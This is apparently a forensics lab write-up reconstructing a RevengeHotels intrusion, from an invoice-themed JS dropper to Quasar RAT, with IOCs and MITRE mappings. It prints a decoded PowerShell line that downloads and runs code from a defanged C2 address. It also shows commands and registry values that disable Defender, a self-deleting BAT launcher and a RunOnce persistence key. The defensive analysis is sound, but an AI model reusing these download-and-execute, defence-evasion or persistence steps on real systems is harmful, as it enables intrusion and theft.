Full attack chain reconstruction of a RevengeHotels APT intrusion against an administrator workstation. RevengeHotels is a Brazilian threat group targeting the hospitality sector using invoice-themed phishing to deliver a multi-stage loader chain culminating in Quasar RAT deployment.
Key lesson from this lab: Always export .evtx logs to CSV using EvtxECmd and use timeline explorer.
Export Sysmon logs to CSV for proper Timeline Explorer analysis:
EvtxECmd.exe -f "C:\Users\Administrator\Desktop\Start Here\Artifacts\PC\Windows\System32\winevt\Logs\Microsoft-Windows-Sysmon%4Operational.evtx" --csv "C:\Temp" --csvf sysmon.csv
Load sysmon.csv into Timeline Explorer — columns render correctly with EventID, TimeCreated, PayloadData fields fully readable.
Browser history recovered from:
Artifacts\PC\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\History

Q1 — JS filename: invoice82962.js
Q2 — Hosting domain: hotelx[.]rf[.]gd
Full download URL: hxxps[://]hotelx[.]rf[.]gd/?i=1
rf.gd is a free subdomain service — low-cost throwaway infrastructure consistent with RevengeHotels operations. The filename uses invoice-themed social engineering to trick the target into executing it.
MITRE: T1566.001 — Phishing: Spearphishing Attachment MITRE: T1204.002 — User Execution: Malicious File
Filtering the CSV in Timeline Explorer on Event ID 1 and searching for invoice82962 reveals wscript.exe executing the JS file and spawning PowerShell:

ParentImage: C:\Windows\System32\WScript.exe
ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\Administrator\Downloads\invoice82962.js"
CommandLine: powershell.exe -executionPolicy Bypass -File "C:\Users\Public\Scripts\SGDoHBKNUpLKXCAoTHXdBGlnQJLZCGBOVGLH_20250928T061424.ps1"
PowerShell script path: C:\Users\Public\Scripts
The JS performs several actions before spawning PowerShell:
Set-MpPreference -DisableRealtimeMonitoring $true — T1562.001WScript.Sleep(3000)) to evade sandbox time limitsC:\Users\Public\Scripts\ using ActiveXObject-executionPolicy BypassMITRE: T1059.001 — Command and Scripting Interpreter: PowerShell MITRE: T1562.001 — Impair Defenses: Disable or Modify Tools
The PowerShell script contains a Base64 encoded command:
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkA...
Decoded:
IEX (New-Object Net.WebClient).DownloadString('http://3[.]122[.]239[.]15:8000/cargajecerrr.txt')
cargajecerrr.txt executes entirely in memory via IEX (Invoke-Expression) — fileless execution. It downloads two files to C:\Users\Public\Scripts\:

Downloaded files:venumentrada.txt, runpe.txt
C2 IP:** 3[.]122[.]239[.]15
Delivery chain:
cargajecerrr.txt (IEX — memory only)
→ downloads venumentrada.txt + runpe.txt
→ runpe.txt converts venumentrada.txt (Base64 → EXE)
→ saves as swchost.exe
→ executes swchost.exe
Q5 — Actual file type of venumentrada.txt: exe Q6 — Executed file after conversion: swchost.exe
MITRE: T1027 — Obfuscated Files or Information MITRE: T1105 — Ingress Tool Transfer
Opening C:\Users\Public\Scripts\swchost.exe in dnSpy reveals:
[assembly: AssemblyTitle("Quasar Client")]
[assembly: AssemblyCopyright("Copyright © MaxXor 2023")]
[assembly: TargetFramework(".NETFramework,Version=v4.5.2")]
swchost.exe is Quasar RAT v1.4.1 — open source .NET RAT. The name swchost masquerades as the legitimate svchost.exe Windows process.
Notable imports visible in dnSpy:
Gma.System.MouseKeyHook — keylogger componentSystem.Runtime.InteropServices — Windows API interopRtlSetProcessIsCritical — marks process as critical to prevent terminationWindows API function:RtlSetProcessIsCritical
[DllImport("ntdll.dll", EntryPoint = "RtlSetProcessIsCritical", SetLastError = true)]
This causes a BSOD if the process is forcibly terminated — a strong self-protection mechanism.
Filtering Timeline Explorer CSV on Event ID 13, searching swchost, then grouping by TargetObject reveals 12 unique registry keys modified to weaken defenses:
All keys under HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\:
| Key | Value |
| — | — |
| MpEngine\MpEnablePus | DWORD 0 |
| DisableAntiSpyware | DWORD 1 |
| DisableAntiVirus | DWORD 1 |
| DisableRealtimeMonitoring | DWORD 1 |
| Notifications\DisableNotifications | DWORD 1 |
| Notifications\DisableEnhancedNotifications | DWORD 1 |
| + 6 additional Defender keys | — |
Registry keys modified: 12
MITRE: T1562.001 — Impair Defenses: Disable or Modify Tools
Sysmon Event ID 13 — Sysmon auto-tagged with technique_id=T1547.001:
TargetObject: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\svchostAS
Details: C:\Users\Public\Scripts\swchost.exe
Image: C:\Windows\System32\wscript.exe
Persistence registry key:
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\svchostAS
Malware copies itself to a secondary location:

Persistence copy path:
C:\Users\Administrator\AppData\Roaming\host\swchost.exe
A BAT file (2Fd68NEEtjEx.bat) was also created in Temp to restart the malware and self-delete:
@echo off
ping -n 10 localhost > nul
start "" "C:\Users\Administrator\AppData\Roaming\host\swchost.exe"
del /a /q /f "C:\Users\Administrator\AppData\Local\Temp\2Fd68NEEtjEx.bat"
Sysmon Event ID 1 shows wscript.exe executing a VBS script from Temp:

CommandLine: "wscript.exe" "C:\Users\Administrator\AppData\Local\Temp\KOoNLZeCGlnQ.vbs"
MITRE: T1547.001 — Boot/Logon Autostart: Registry Run Keys
A second executable dropped for data collection purposes found in:
Artifacts\PC\Users\Administrator\AppData\Local\Temp\
Data collection executable:** Flfs6heTV2lb.exe (64MB — 9/28/2025 5:16 PM)

Searching Timeline Explorer for .zip in Event ID 11:

TargetFilename: C:\Users\Public\Scripts\data.zip
Archive creation timestamp:** 2025-09-28 17:16
MITRE: T1560.001 — Archive Collected Data: Archive via Utility MITRE: T1041 — Exfiltration Over C2 Channel
| Type | Value |
|---|---|
| JS Dropper | invoice82962[.]js |
| Hosting Domain | hotelx[.]rf[.]gd |
| PS1 Script | C:\Users\Public\Scripts\SGDoHBKNUpLKXCAoTHXdBGlnQJLZCGBOVGLH_20250928T061424[.]ps1 |
| Stage 2 Loader | cargajecerrr[.]txt |
| Downloaded File 1 | venumentrada[.]txt |
| Downloaded File 2 | runpe[.]txt |
| Quasar RAT | swchost[.]exe |
| Persistence Copy | C:\Users\Administrator\AppData\Roaming\host\swchost[.]exe |
| VBS Persistence | KOoNLZeCGlnQ[.]vbs |
| BAT Launcher | 2Fd68NEEtjEx[.]bat |
| C2 IP | 3[.]122[.]239[.]15 |
| C2 Port | 8000 |
| Data Collection EXE | Flfs6heTV2lb[.]exe |
| Exfil Archive | C:\Users\Public\Scripts\data[.]zip |
| Threat Actor | RevengeHotels APT |
| Malware Family | Quasar RAT v1.4.1 |
| Technique | ID | Notes |
|---|---|---|
| Spearphishing Attachment | T1566.001 | invoice82962.js delivered via phishing |
| User Execution: Malicious File | T1204.002 | Victim opened JS via wscript |
| Visual Basic / JS Interpreter | T1059.005 | wscript.exe executing JS dropper |
| PowerShell | T1059.001 | -ExecutionPolicy Bypass PS1 execution |
| Obfuscated Files | T1027 | venumentrada.txt Base64 encoded PE |
| Impair Defenses | T1562.001 | 12 Defender registry keys disabled |
| Registry Run Keys | T1547.001 | RunOnce\svchostAS persistence |
| Ingress Tool Transfer | T1105 | cargajecerrr.txt downloads stage 2 |
| Application Layer Protocol | T1071.001 | C2 over HTTP port 8000 |
| Data from Local System | T1005 | Flfs6heTV2lb.exe collection |
| Archive Collected Data | T1560.001 | data.zip created 17:16 |
| Exfiltration Over C2 | T1041 | data.zip exfiltrated via Quasar C2 |
.evtx into Timeline Explorer without Sysmon installed on the analysis VM renders unreadable garbage. Always run EvtxECmd first and load the CSV. This single step would have saved hours on this labRtlSetProcessIsCritical, hardcoded filenames, and registry keys are all visible directly in the source — faster than hunting through thousands of Sysmon eventscargajecerrr.txt never touched disk as a file, it executed entirely in memory. No Event ID 11 for it — only detectable via Event ID 1 CommandLine showing the encoded PowerShellrf.gd) + invoice-themed lures + Quasar RAT is a consistent RevengeHotels signature. The hotelx subdomain name is a direct nod to their targeting of the hospitality sector